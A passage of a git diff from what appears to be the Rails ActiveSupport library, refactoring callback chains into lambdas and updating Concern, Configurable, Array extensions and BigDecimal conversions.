+ target = env.target
+ value = env.value
+ halted = env.halted
+
+ if !halted && user_conditions.all? { |c| c.call(target, value) }
+ user_callback.call(target, value) {
+ env = next_callback.call env
+ env.value
+ }
+ env
+ else
+ next_callback.call env
+ end
+ }
+ end
+ private_class_method :halting_and_conditional
+
+ def self.halting(next_callback, user_callback)
+ lambda { |env|
+ target = env.target
+ value = env.value
+
+ if env.halted
+ next_callback.call env
+ else
+ user_callback.call(target, value) {
+ env = next_callback.call env
+ env.value
+ }
+ env
+ end
+ }
+ end
+ private_class_method :halting
+
+ def self.conditional(next_callback, user_callback, user_conditions)
+ lambda { |env|
+ target = env.target
+ value = env.value
+
+ if user_conditions.all? { |c| c.call(target, value) }
+ user_callback.call(target, value) {
+ env = next_callback.call env
+ env.value
+ }
+ env
+ else
+ next_callback.call env
+ end
+ }
+ end
+ private_class_method :conditional
+
+ def self.simple(next_callback, user_callback)
+ lambda { |env|
+ user_callback.call(env.target, env.value) {
+ env = next_callback.call env
+ env.value
+ }
+ env
+ }
+ end
+ private_class_method :simple
end
+ end
- def next_id
- @@_callback_sequence += 1
+ class Callback #:nodoc:#
+ def self.build(chain, filter, kind, options)
+ new chain.name, filter, kind, options, chain.config
end
- def matches?(_kind, _filter)
- @kind == _kind && @filter == _filter
+ attr_accessor :kind, :name
+ attr_reader :chain_config
+
+ def initialize(name, filter, kind, options, chain_config)
+ @chain_config = chain_config
+ @name = name
+ @kind = kind
+ @filter = filter
+ @key = compute_identifier filter
+ @if = Array(options[:if])
+ @unless = Array(options[:unless])
end
- def _update_filter(filter_options, new_options)
- filter_options[:if].concat(Array(new_options[:unless])) if new_options.key?(:unless)
- filter_options[:unless].concat(Array(new_options[:if])) if new_options.key?(:if)
+ def filter; @key; end
+ def raw_filter; @filter; end
+
+ def merge(chain, new_options)
+ options = {
+ :if => @if.dup,
+ :unless => @unless.dup
+ }
+
+ options[:if].concat Array(new_options.fetch(:unless, []))
+ options[:unless].concat Array(new_options.fetch(:if, []))
+
+ self.class.build chain, @filter, @kind, options
end
- def recompile!(_options)
- deprecate_per_key_option(_options)
- _update_filter(self.options, _options)
+ def matches?(_kind, _filter)
+ @kind == _kind && filter == _filter
+ end
- recompile_options!
+ def duplicates?(other)
+ case @filter
+ when Symbol, String
+ matches?(other.kind, other.filter)
+ else
+ false
+ end
end
# Wraps code with filter
- def apply(code)
- case @kind
+ def apply(next_callback)
+ user_conditions = conditions_lambdas
+ user_callback = make_lambda @filter
+
+ case kind
when :before
- <<-RUBY_EVAL
- if !halted && #{@compiled_options}
- # This double assignment is to prevent warnings in 1.9.3 as
- # the `result` variable is not always used except if the
- # terminator code refers to it.
- result = result = #{@filter}
- halted = (#{chain.config[:terminator]})
- if halted
- halted_callback_hook(#{@raw_filter.inspect.inspect})
- end
- end
- #{code}
- RUBY_EVAL
+ Filters::Before.build(next_callback, user_callback, user_conditions, chain_config, @filter)
when :after
- <<-RUBY_EVAL
- #{code}
- if #{!chain.config[:skip_after_callbacks_if_terminated] || "!halted"} && #{@compiled_options}
- #{@filter}
- end
- RUBY_EVAL
+ Filters::After.build(next_callback, user_callback, user_conditions, chain_config)
when :around
- name = define_conditional_callback
- <<-RUBY_EVAL
- #{name}(halted) do
- #{code}
- value
- end
- RUBY_EVAL
+ Filters::Around.build(next_callback, user_callback, user_conditions, chain_config)
end
end
private
- # Compile around filters with conditions into proxy methods
- # that contain the conditions.
- #
- # For `set_callback :save, :around, :filter_name, if: :condition':
- #
- # def _conditional_callback_save_17
- # if condition
- # filter_name do
- # yield self
- # end
- # else
- # yield self
- # end
- # end
- def define_conditional_callback
- name = "_conditional_callback_#{@kind}_#{next_id}"
- @klass.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- def #{name}(halted)
- if #{@compiled_options} && !halted
- #{@filter} do
- yield self
- end
- else
- yield self
- end
- end
- RUBY_EVAL
- name
- end
-
- # Options support the same options as filters themselves (and support
- # symbols, string, procs, and objects), so compile a conditional
- # expression based on the options.
- def recompile_options!
- conditions = ["true"]
-
- unless options[:if].empty?
- conditions << Array(_compile_filter(options[:if]))
- end
-
- unless options[:unless].empty?
- conditions << Array(_compile_filter(options[:unless])).map {|f| "!#{f}"}
- end
-
- @compiled_options = conditions.flatten.join(" && ")
+ def invert_lambda(l)
+ lambda { |*args, &blk| !l.call(*args, &blk) }
end
# Filters support:
#
- # Arrays:: Used in conditions. This is used to specify
- # multiple conditions. Used internally to
- # merge conditions from skip_* filters.
# Symbols:: A method to call.
# Strings:: Some content to evaluate.
# Procs:: A proc to call with the object.
# Objects:: An object with a <tt>before_foo</tt> method on it to call.
#
- # All of these objects are compiled into methods and handled
- # the same after this point:
- #
- # Arrays:: Merged together into a single filter.
- # Symbols:: Already methods.
- # Strings:: class_eval'ed into methods.
- # Procs:: define_method'ed into methods.
- # Objects::
- # a method is created that calls the before_foo method
- # on the object.
- def _compile_filter(filter)
- method_name = "_callback_#{@kind}_#{next_id}"
+ # All of these objects are converted into a lambda and handled
+ # the same after this point.
+ def make_lambda(filter)
case filter
- when Array
- filter.map {|f| _compile_filter(f)}
when Symbol
- filter
+ lambda { |target, _, &blk| target.send filter, &blk }
when String
- "(#{filter})"
- when Proc
- @klass.send(:define_method, method_name, &filter)
- return method_name if filter.arity <= 0
+ l = eval "lambda { |value| #{filter} }"
+ lambda { |target, value| target.instance_exec(value, &l) }
+ when Conditionals::Value then filter
+ when ::Proc
+ if filter.arity > 1
+ return lambda { |target, _, &block|
+ raise ArgumentError unless block
+ target.instance_exec(target, block, &filter)
+ }
+ end
- method_name << (filter.arity == 1 ? "(self)" : " self, Proc.new ")
+ if filter.arity <= 0
+ lambda { |target, _| target.instance_exec(&filter) }
+ else
+ lambda { |target, _| target.instance_exec(target, &filter) }
+ end
else
- @klass.send(:define_method, "#{method_name}_object") { filter }
-
- _normalize_legacy_filter(kind, filter)
- scopes = Array(chain.config[:scope])
- method_to_call = scopes.map{ |s| s.is_a?(Symbol) ? send(s) : s }.join("_")
+ scopes = Array(chain_config[:scope])
+ method_to_call = scopes.map{ |s| public_send(s) }.join("_")
- @klass.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- def #{method_name}(&blk)
- #{method_name}_object.send(:#{method_to_call}, self, &blk)
- end
- RUBY_EVAL
-
- method_name
+ lambda { |target, _, &blk|
+ filter.public_send method_to_call, target, &blk
+ }
end
end
- def _normalize_legacy_filter(kind, filter)
- if !filter.respond_to?(kind) && filter.respond_to?(:filter)
- message = "Filter object with #filter method is deprecated. Define method corresponding " \
- "to filter type (#before, #after or #around)."
- ActiveSupport::Deprecation.warn message
- filter.singleton_class.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- def #{kind}(context, &block) filter(context, &block) end
- RUBY_EVAL
- elsif filter.respond_to?(:before) && filter.respond_to?(:after) && kind == :around && !filter.respond_to?(:around)
- message = "Filter object with #before and #after methods is deprecated. Define #around method instead."
- ActiveSupport::Deprecation.warn message
- def filter.around(context)
- should_continue = before(context)
- yield if should_continue
- after(context)
- end
+ def compute_identifier(filter)
+ case filter
+ when String, ::Proc
+ filter.object_id
+ else
+ filter
end
end
+
+ def conditions_lambdas
+ @if.map { |c| make_lambda c } +
+ @unless.map { |c| invert_lambda make_lambda c }
+ end
end
# An Array with a compile method.
- class CallbackChain < Array #:nodoc:#
+ class CallbackChain #:nodoc:#
+ include Enumerable
+
attr_reader :name, :config
def initialize(name, config)
@name = name
@config = {
- :terminator => "false",
:scope => [ :kind ]
- }.merge(config)
+ }.merge!(config)
+ @chain = []
+ @callbacks = nil
+ @mutex = Mutex.new
end
- def compile
- method = []
- method << "value = nil"
- method << "halted = false"
+ def each(&block); @chain.each(&block); end
+ def index(o); @chain.index(o); end
+ def empty?; @chain.empty?; end
- callbacks = "value = !halted && (!block_given? || yield)"
- reverse_each do |callback|
- callbacks = callback.apply(callbacks)
- end
- method << callbacks
+ def insert(index, o)
+ @callbacks = nil
+ @chain.insert(index, o)
+ end
- method << "value"
- method.join("\n")
+ def delete(o)
+ @callbacks = nil
+ @chain.delete(o)
end
- end
+ def clear
+ @callbacks = nil
+ @chain.clear
+ self
+ end
- module ClassMethods
+ def initialize_copy(other)
+ @callbacks = nil
+ @chain = other.chain.dup
+ @mutex = Mutex.new
+ end
- # This method defines callback chain method for the given kind
- # if it was not yet defined.
- # This generated method plays caching role.
- def __define_callbacks(kind, object) #:nodoc:
- name = __callback_runner_name(kind)
- unless object.respond_to?(name, true)
- str = object.send("_#{kind}_callbacks").compile
- class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- def #{name}() #{str} end
- protected :#{name}
- RUBY_EVAL
+ def compile
+ @callbacks || @mutex.synchronize do
+ @callbacks ||= @chain.reverse.inject(Filters::ENDING) do |chain, callback|
+ callback.apply chain
+ end
end
- name
end
- def __reset_runner(symbol)
- name = __callback_runner_name(symbol)
- undef_method(name) if method_defined?(name)
+ def append(*callbacks)
+ callbacks.each { |c| append_one(c) }
end
- def __callback_runner_name(kind)
- "_run__#{self.name.hash.abs}__#{kind}__callbacks"
+ def prepend(*callbacks)
+ callbacks.each { |c| prepend_one(c) }
end
- # This is used internally to append, prepend and skip callbacks to the
- # CallbackChain.
- def __update_callbacks(name, filters = [], block = nil) #:nodoc:
- type = [:before, :after, :around].include?(filters.first) ? filters.shift : :before
- options = filters.last.is_a?(Hash) ? filters.pop : {}
+ protected
+ def chain; @chain; end
+
+ private
+
+ def append_one(callback)
+ @callbacks = nil
+ remove_duplicates(callback)
+ @chain.push(callback)
+ end
+
+ def prepend_one(callback)
+ @callbacks = nil
+ remove_duplicates(callback)
+ @chain.unshift(callback)
+ end
+
+ def remove_duplicates(callback)
+ @callbacks = nil
+ @chain.delete_if { |c| callback.duplicates?(c) }
+ end
+ end
+
+ module ClassMethods
+ def normalize_callback_params(filters, block) # :nodoc:
+ type = CALLBACK_FILTER_TYPES.include?(filters.first) ? filters.shift : :before
+ options = filters.extract_options!
filters.unshift(block) if block
+ [type, filters, options.dup]
+ end
- ([self] + ActiveSupport::DescendantsTracker.descendants(self)).reverse.each do |target|
- chain = target.send("_#{name}_callbacks")
- yield target, chain.dup, type, filters, options
- target.__reset_runner(name)
+ # This is used internally to append, prepend and skip callbacks to the
+ # CallbackChain.
+ def __update_callbacks(name) #:nodoc:
+ ([self] + ActiveSupport::DescendantsTracker.descendants(self)).reverse_each do |target|
+ chain = target.get_callbacks name
+ yield target, chain.dup
end
end
@@ -373,7 +569,7 @@ module ActiveSupport
#
# set_callback :save, :before, :before_meth
# set_callback :save, :after, :after_meth, if: :condition
- # set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }
+ # set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
#
# The second arguments indicates whether the callback is to be run +:before+,
# +:after+, or +:around+ the event. If omitted, +:before+ is assumed. This
@@ -381,10 +577,10 @@ module ActiveSupport
#
# set_callback :save, :before_meth
#
- # The callback can specified as a symbol naming an instance method; as a
+ # The callback can be specified as a symbol naming an instance method; as a
# proc, lambda, or block; as a string to be instance evaluated; or as an
# object that responds to a certain method determined by the <tt>:scope</tt>
- # argument to +define_callback+.
+ # argument to +define_callbacks+.
#
# If a proc, lambda, or block is given, its body is evaluated in the context
# of the current object. It can also optionally accept the current object as
@@ -405,20 +601,15 @@ module ActiveSupport
# * <tt>:prepend</tt> - If +true+, the callback will be prepended to the
# existing chain rather than appended.
def set_callback(name, *filter_list, &block)
- mapped = nil
-
- __update_callbacks(name, filter_list, block) do |target, chain, type, filters, options|
- mapped ||= filters.map do |filter|
- Callback.new(chain, filter, type, options.dup, self)
- end
-
- filters.each do |filter|
- chain.delete_if {|c| c.matches?(type, filter) }
- end
-
- options[:prepend] ? chain.unshift(*(mapped.reverse)) : chain.push(*mapped)
+ type, filters, options = normalize_callback_params(filter_list, block)
+ self_chain = get_callbacks name
+ mapped = filters.map do |filter|
+ Callback.build(self_chain, filter, type, options)
+ end
- target.send("_#{name}_callbacks=", chain)
+ __update_callbacks(name) do |target, chain|
+ options[:prepend] ? chain.prepend(*mapped) : chain.append(*mapped)
+ target.set_callbacks name, chain
end
end
@@ -430,39 +621,37 @@ module ActiveSupport
# skip_callback :validate, :before, :check_membership, if: -> { self.age > 18 }
# end
def skip_callback(name, *filter_list, &block)
- __update_callbacks(name, filter_list, block) do |target, chain, type, filters, options|
+ type, filters, options = normalize_callback_params(filter_list, block)
+
+ __update_callbacks(name) do |target, chain|
filters.each do |filter|
filter = chain.find {|c| c.matches?(type, filter) }
if filter && options.any?
- new_filter = filter.clone(chain, self)
+ new_filter = filter.merge(chain, options)
chain.insert(chain.index(filter), new_filter)
- new_filter.recompile!(options)
end
chain.delete(filter)
end
- target.send("_#{name}_callbacks=", chain)
+ target.set_callbacks name, chain
end
end
# Remove all set callbacks for the given event.
- def reset_callbacks(symbol)
- callbacks = send("_#{symbol}_callbacks")
+ def reset_callbacks(name)
+ callbacks = get_callbacks name
ActiveSupport::DescendantsTracker.descendants(self).each do |target|
- chain = target.send("_#{symbol}_callbacks").dup
+ chain = target.get_callbacks(name).dup
callbacks.each { |c| chain.delete(c) }
- target.send("_#{symbol}_callbacks=", chain)
- target.__reset_runner(symbol)
+ target.set_callbacks name, chain
end
- self.send("_#{symbol}_callbacks=", callbacks.dup.clear)
-
- __reset_runner(symbol)
+ self.set_callbacks name, callbacks.dup.clear
end
- # Define sets of events in the object lifecycle that support callbacks.
+ # Define sets of events in the object life cycle that support callbacks.
#
# define_callbacks :validate
# define_callbacks :initialize, :save, :destroy
@@ -471,10 +660,11 @@ module ActiveSupport
#
# * <tt>:terminator</tt> - Determines when a before filter will halt the
# callback chain, preventing following callbacks from being called and
- # the event from being triggered. This is a string to be eval'ed. The
- # result of the callback is available in the +result+ variable.
+ # the event from being triggered. This should be a lambda to be executed.
+ # The current object and the return result of the callback will be called
+ # with the lambda.
#
- # define_callbacks :validate, terminator: 'result == false'
+ # define_callbacks :validate, terminator: ->(target, result) { result == false }
#
# In this example, if any before validate callbacks returns +false+,
# other callbacks are not executed. Defaults to +false+, meaning no value
@@ -529,13 +719,33 @@ module ActiveSupport
# define_callbacks :save, scope: [:name]
#
# would call <tt>Audit#save</tt>.
- def define_callbacks(*callbacks)
- config = callbacks.last.is_a?(Hash) ? callbacks.pop : {}
- callbacks.each do |callback|
- class_attribute "_#{callback}_callbacks"
- send("_#{callback}_callbacks=", CallbackChain.new(callback, config))
+ #
+ # NOTE: +method_name+ passed to `define_model_callbacks` must not end with
+ # `!`, `?` or `=`.
+ def define_callbacks(*names)
+ options = names.extract_options!
+
+ names.each do |name|
+ class_attribute "_#{name}_callbacks"
+ set_callbacks name, CallbackChain.new(name, options)
+
+ module_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def _run_#{name}_callbacks(&block)
+ _run_callbacks(_#{name}_callbacks, &block)
+ end
+ RUBY
end
end
+
+ protected
+
+ def get_callbacks(name)
+ send "_#{name}_callbacks"
+ end
+
+ def set_callbacks(name, callbacks)
+ send "_#{name}_callbacks=", callbacks
+ end
end
end
end
diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb
index eeeba60839..342d3a9d52 100644
--- a/activesupport/lib/active_support/concern.rb
+++ b/activesupport/lib/active_support/concern.rb
@@ -26,7 +26,7 @@ module ActiveSupport
# scope :disabled, -> { where(disabled: true) }
# end
#
- # module ClassMethods
+ # class_methods do
# ...
# end
# end
@@ -95,32 +95,48 @@ module ActiveSupport
# end
#
# class Host
- # include Bar # works, Bar takes care now of its dependencies
+ # include Bar # It works, now Bar takes care of its dependencies
# end
module Concern
+ class MultipleIncludedBlocks < StandardError #:nodoc:
+ def initialize
+ super "Cannot define multiple 'included' blocks for a Concern"
+ end
+ end
+
def self.extended(base) #:nodoc:
- base.instance_variable_set("@_dependencies", [])
+ base.instance_variable_set(:@_dependencies, [])
end
def append_features(base)
- if base.instance_variable_defined?("@_dependencies")
- base.instance_variable_get("@_dependencies") << self
+ if base.instance_variable_defined?(:@_dependencies)
+ base.instance_variable_get(:@_dependencies) << self
return false
else
return false if base < self
@_dependencies.each { |dep| base.send(:include, dep) }
super
- base.extend const_get("ClassMethods") if const_defined?("ClassMethods")
- base.class_eval(&@_included_block) if instance_variable_defined?("@_included_block")
+ base.extend const_get(:ClassMethods) if const_defined?(:ClassMethods)
+ base.class_eval(&@_included_block) if instance_variable_defined?(:@_included_block)
end
end
def included(base = nil, &block)
if base.nil?
+ raise MultipleIncludedBlocks if instance_variable_defined?(:@_included_block)
+
@_included_block = block
else
super
end
end
+
+ def class_methods(&class_methods_module_definition)
+ mod = const_defined?(:ClassMethods) ?
+ const_get(:ClassMethods) :
+ const_set(:ClassMethods, Module.new)
+
+ mod.module_eval(&class_methods_module_definition)
+ end
end
end
diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb
index e0d39d509f..3dd44e32d8 100644
--- a/activesupport/lib/active_support/configurable.rb
+++ b/activesupport/lib/active_support/configurable.rb
@@ -107,7 +107,7 @@ module ActiveSupport
options = names.extract_options!
names.each do |name|
- raise NameError.new('invalid config attribute name') unless name =~ /^[_A-Za-z]\w*$/
+ raise NameError.new('invalid config attribute name') unless name =~ /\A[_A-Za-z]\w*\z/
reader, reader_line = "def #{name}; config.#{name}; end", __LINE__
writer, writer_line = "def #{name}=(value); config.#{name} = value; end", __LINE__
diff --git a/activesupport/lib/active_support/core_ext.rb b/activesupport/lib/active_support/core_ext.rb
index b48bdf08e8..199aa91020 100644
--- a/activesupport/lib/active_support/core_ext.rb
+++ b/activesupport/lib/active_support/core_ext.rb
@@ -1,4 +1,3 @@
-Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"].sort.each do |path|
- next if File.basename(path, '.rb') == 'logger'
- require "active_support/core_ext/#{File.basename(path, '.rb')}"
+Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"].each do |path|
+ require path
end
diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb
index 79ba79192a..7d0c1e4c8d 100644
--- a/activesupport/lib/active_support/core_ext/array.rb
+++ b/activesupport/lib/active_support/core_ext/array.rb
@@ -1,6 +1,5 @@
require 'active_support/core_ext/array/wrap'
require 'active_support/core_ext/array/access'
-require 'active_support/core_ext/array/uniq_by'
require 'active_support/core_ext/array/conversions'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/array/grouping'
diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb
index a8f9dddae5..45b89d2705 100644
--- a/activesupport/lib/active_support/core_ext/array/access.rb
+++ b/activesupport/lib/active_support/core_ext/array/access.rb
@@ -5,6 +5,8 @@ class Array
# %w( a b c d ).from(2) # => ["c", "d"]
# %w( a b c d ).from(10) # => []
# %w().from(0) # => []
+ # %w( a b c d ).from(-2) # => ["c", "d"]
+ # %w( a b c ).from(-10) # => []
def from(position)
self[position, length] || []
end
@@ -15,39 +17,47 @@ class Array
# %w( a b c d ).to(2) # => ["a", "b", "c"]
# %w( a b c d ).to(10) # => ["a", "b", "c", "d"]
# %w().to(0) # => []
+ # %w( a b c d ).to(-2) # => ["a", "b", "c"]
+ # %w( a b c ).to(-10) # => []
def to(position)
- first position + 1
+ if position >= 0
+ first position + 1
+ else
+ self[0..position]
+ end
end
# Equal to <tt>self[1]</tt>.
#
- # %w( a b c d e).second # => "b"
+ # %w( a b c d e ).second # => "b"
def second
self[1]
end
# Equal to <tt>self[2]</tt>.
#
- # %w( a b c d e).third # => "c"
+ # %w( a b c d e ).third # => "c"
def third
self[2]
end
# Equal to <tt>self[3]</tt>.
#
- # %w( a b c d e).fourth # => "d"
+ # %w( a b c d e ).fourth # => "d"
def fourth
self[3]
end
# Equal to <tt>self[4]</tt>.
#
- # %w( a b c d e).fifth # => "e"
+ # %w( a b c d e ).fifth # => "e"
def fifth
self[4]
end
# Equal to <tt>self[41]</tt>. Also known as accessing "the reddit".
+ #
+ # (1..42).to_a.forty_two # => 42
def forty_two
self[41]
end
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
index 64e9945ef5..080e3b5ef7 100644
--- a/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -8,11 +8,11 @@ class Array
# Converts the array to a comma-separated sentence where the last element is
# joined by the connector word.
#
- # You can pass the following options to change the default behaviour. If you
+ # You can pass the following options to change the default behavior. If you
# pass an option key that doesn't exist in the list below, it will raise an
# <tt>ArgumentError</tt>.
#
- # Options:
+ # ==== Options
#
# * <tt>:words_connector</tt> - The sign or word used to join the elements
# in arrays with two or more elements (default: ", ").
@@ -24,6 +24,8 @@ class Array
# the connector options defined on the 'support.array' namespace in the
# corresponding dictionary file.
#
+ # ==== Examples
+ #
# [].to_sentence # => ""
# ['one'].to_sentence # => "one"
# ['one', 'two'].to_sentence # => "one and two"
@@ -38,10 +40,10 @@ class Array
# ['one', 'two', 'three'].to_sentence(words_connector: ' or ', last_word_connector: ' or at least ')
# # => "one or two or at least three"
#
- # Examples using <tt>:locale</tt> option:
+ # Using <tt>:locale</tt> option:
#
# # Given this locale dictionary:
- # #
+ # #
# # es:
# # support:
# # array:
@@ -80,23 +82,8 @@ class Array
end
end
- # Converts a collection of elements into a formatted string by calling
- # <tt>to_s</tt> on all elements and joining them. Having this model:
- #
- # class Blog < ActiveRecord::Base
- # def to_s
- # title
- # end
- # end
- #
- # Blog.all.map(&:title) #=> ["First Post", "Second Post", "Third post"]
- #
- # <tt>to_formatted_s</tt> shows us:
- #
- # Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
- #
- # Adding in the <tt>:db</tt> argument as the format yields a comma separated
- # id list:
+ # Extends <tt>Array#to_s</tt> to convert a collection of elements into a
+ # comma separated id list if <tt>:db</tt> argument is given as the format.
#
# Blog.all.to_formatted_s(:db) # => "1,2,3"
def to_formatted_s(format = :default)
@@ -105,7 +92,7 @@ class Array
if empty?
'null'
else
- collect { |element| element.id }.join(',')
+ collect(&:id).join(',')
end
else
to_default_s
diff --git a/activesupport/lib/active_support/core_ext/array/grouping.rb b/activesupport/lib/active_support/core_ext/array/grouping.rb
index 640e6e9328..87ae052eb0 100644
--- a/activesupport/lib/active_support/core_ext/array/grouping.rb
+++ b/activesupport/lib/active_support/core_ext/array/grouping.rb
@@ -18,6 +18,11 @@ class Array
# ["3", "4"]
# ["5"]
def in_groups_of(number, fill_with = nil)
+ if number.to_i <= 0
+ raise ArgumentError,
+ "Group size must be a positive integer, was #{number.inspect}"
+ end
+
if fill_with == false
collection = self
else
@@ -25,15 +30,13 @@ class Array
# subtracting from number gives how many to add;
# modulo number ensures we don't add group of just fill.
padding = (number - size % number) % number
- collection = dup.concat([fill_with] * padding)
+ collection = dup.concat(Array.new(padding, fill_with))
end
if block_given?
collection.each_slice(number) { |slice| yield(slice) }
else
- groups = []
- collection.each_slice(number) { |group| groups << group }
- groups
+ collection.each_slice(number).to_a
end
end
@@ -55,7 +58,7 @@ class Array
# ["4", "5"]
# ["6", "7"]
def in_groups(number, fill_with = nil)
- # size / number gives minor group size;
+ # size.div number gives minor group size;
# size % number gives how many objects need extra accommodation;
# each group hold either division or division + 1 items.
division = size.div number
@@ -85,14 +88,28 @@ class Array
#
# [1, 2, 3, 4, 5].split(3) # => [[1, 2], [4, 5]]
# (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]]
- def split(value = nil, &block)
- inject([[]]) do |results, element|
- if block && block.call(element) || value == element
- results << []
- else
- results.last << element
- end
+ def split(value = nil)
+ if block_given?
+ inject([[]]) do |results, element|
+ if yield(element)
+ results << []
+ else
+ results.last << element
+ end
+ results
+ end
+ else
+ results, arr = [[]], self.dup
+ until arr.empty?
+ if (idx = arr.index(value))
+ results.last.concat(arr.shift(idx))
+ arr.shift
+ results << []
+ else
+ results.last.concat(arr.shift(arr.size))
+ end
+ end
results
end
end
diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
index 27718f19d4..f8d48b69df 100644
--- a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
+++ b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
@@ -1,7 +1,7 @@
class Array
- # The human way of thinking about adding stuff to the end of a list is with append
+ # The human way of thinking about adding stuff to the end of a list is with append.
alias_method :append, :<<
- # The human way of thinking about adding stuff to the beginning of a list is with prepend
+ # The human way of thinking about adding stuff to the beginning of a list is with prepend.
alias_method :prepend, :unshift
end \ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/array/uniq_by.rb b/activesupport/lib/active_support/core_ext/array/uniq_by.rb
deleted file mode 100644
index ca3b7748cd..0000000000
--- a/activesupport/lib/active_support/core_ext/array/uniq_by.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-class Array
- # *DEPRECATED*: Use +Array#uniq+ instead.
- #
- # Returns a unique array based on the criteria in the block.
- #
- # [1, 2, 3, 4].uniq_by { |i| i.odd? } # => [1, 2]
- def uniq_by(&block)
- ActiveSupport::Deprecation.warn 'uniq_by is deprecated. Use Array#uniq instead'
- uniq(&block)
- end
-
- # *DEPRECATED*: Use +Array#uniq!+ instead.
- #
- # Same as +uniq_by+, but modifies +self+.
- def uniq_by!(&block)
- ActiveSupport::Deprecation.warn 'uniq_by! is deprecated. Use Array#uniq! instead'
- uniq!(&block)
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/array/wrap.rb b/activesupport/lib/active_support/core_ext/array/wrap.rb
index 05b09a4c7f..152eb02218 100644
--- a/activesupport/lib/active_support/core_ext/array/wrap.rb
+++ b/activesupport/lib/active_support/core_ext/array/wrap.rb
@@ -15,12 +15,12 @@ class Array
#
# * If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt>
# moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns
- # such a +nil+ right away.
+ # +nil+ right away.
# * If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt>
# raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value.
- # * It does not call +to_a+ on the argument, though special-cases +nil+ to return an empty array.
+ # * It does not call +to_a+ on the argument, but returns an empty array if argument is +nil+.
#
- # The last point is particularly worth comparing for some enumerables:
+ # The second point is easily explained with some enumerables:
#
# Array(foo: :bar) # => [[:foo, :bar]]
# Array.wrap(foo: :bar) # => [{:foo=>:bar}]
@@ -29,11 +29,10 @@ class Array
#
# [*object]
#
- # which for +nil+ returns <tt>[nil]</tt> (Ruby 1.8.7) or <tt>[]</tt> (Ruby
- # 1.9), and calls to <tt>Array(object)</tt> otherwise.
+ # which returns <tt>[]</tt> for +nil+, but calls to <tt>Array(object)</tt> otherwise.
#
- # Thus, in this case the behavior may be different for +nil+, and the differences with
- # <tt>Kernel#Array</tt> explained above apply to the rest of <tt>object</tt>s.
+ # The differences with <tt>Kernel#Array</tt> explained above
+ # apply to the rest of <tt>object</tt>s.
def self.wrap(object)
if object.nil?
[]
diff --git a/activesupport/lib/active_support/core_ext/benchmark.rb b/activesupport/lib/active_support/core_ext/benchmark.rb
index 2d110155a5..eb25b2bc44 100644
--- a/activesupport/lib/active_support/core_ext/benchmark.rb
+++ b/activesupport/lib/active_support/core_ext/benchmark.rb
@@ -1,6 +1,13 @@
require 'benchmark'
class << Benchmark
+ # Benchmark realtime in milliseconds.
+ #
+ # Benchmark.realtime { User.all }
+ # # => 8.0e-05
+ #
+ # Benchmark.ms { User.all }
+ # # => 0.074
def ms
1000 * realtime { yield }
end
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
index 5dc5710c53..234283e792 100644
--- a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
@@ -1,30 +1,15 @@
require 'bigdecimal'
-require 'yaml'
+require 'bigdecimal/util'
class BigDecimal
- YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
-
- def encode_with(coder)
- string = to_s
- coder.represent_scalar(nil, YAML_MAPPING[string] || string)
- end
-
- # Backport this method if it doesn't exist
- unless method_defined?(:to_d)
- def to_d
- self
- end
- end
-
DEFAULT_STRING_FORMAT = 'F'
- def to_formatted_s(*args)
- if args[0].is_a?(Symbol)
- super
+ alias_method :to_default_s, :to_s
+
+ def to_s(format = nil, options = nil)
+ if format.is_a?(Symbol)
+ to_formatted_s(format, options || {})
else
- format = args[0] || DEFAULT_STRING_FORMAT
- _original_to_s(format)
+ to_default_s(format || DEFAULT_STRING_FORMAT)
end
end
- alias_method :_original_to_s, :to_s
- alias_method :to_s, :to_formatted_s
end
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb
new file mode 100644
index 0000000000..46ba93ead4
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb
@@ -0,0 +1,14 @@
+ActiveSupport::Deprecation.warn 'core_ext/big_decimal/yaml_conversions is deprecated and will be removed in the future.'
+
+require 'bigdecimal'
+require 'yaml'
+require 'active_support/core_ext/big_decimal/conversions'
+
+class BigDecimal
+ YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
+
+ def encode_with(coder)
+ string = to_s
+ coder.represent_scalar(nil, YAML_MAPPING[string] || string)
+ end
+end
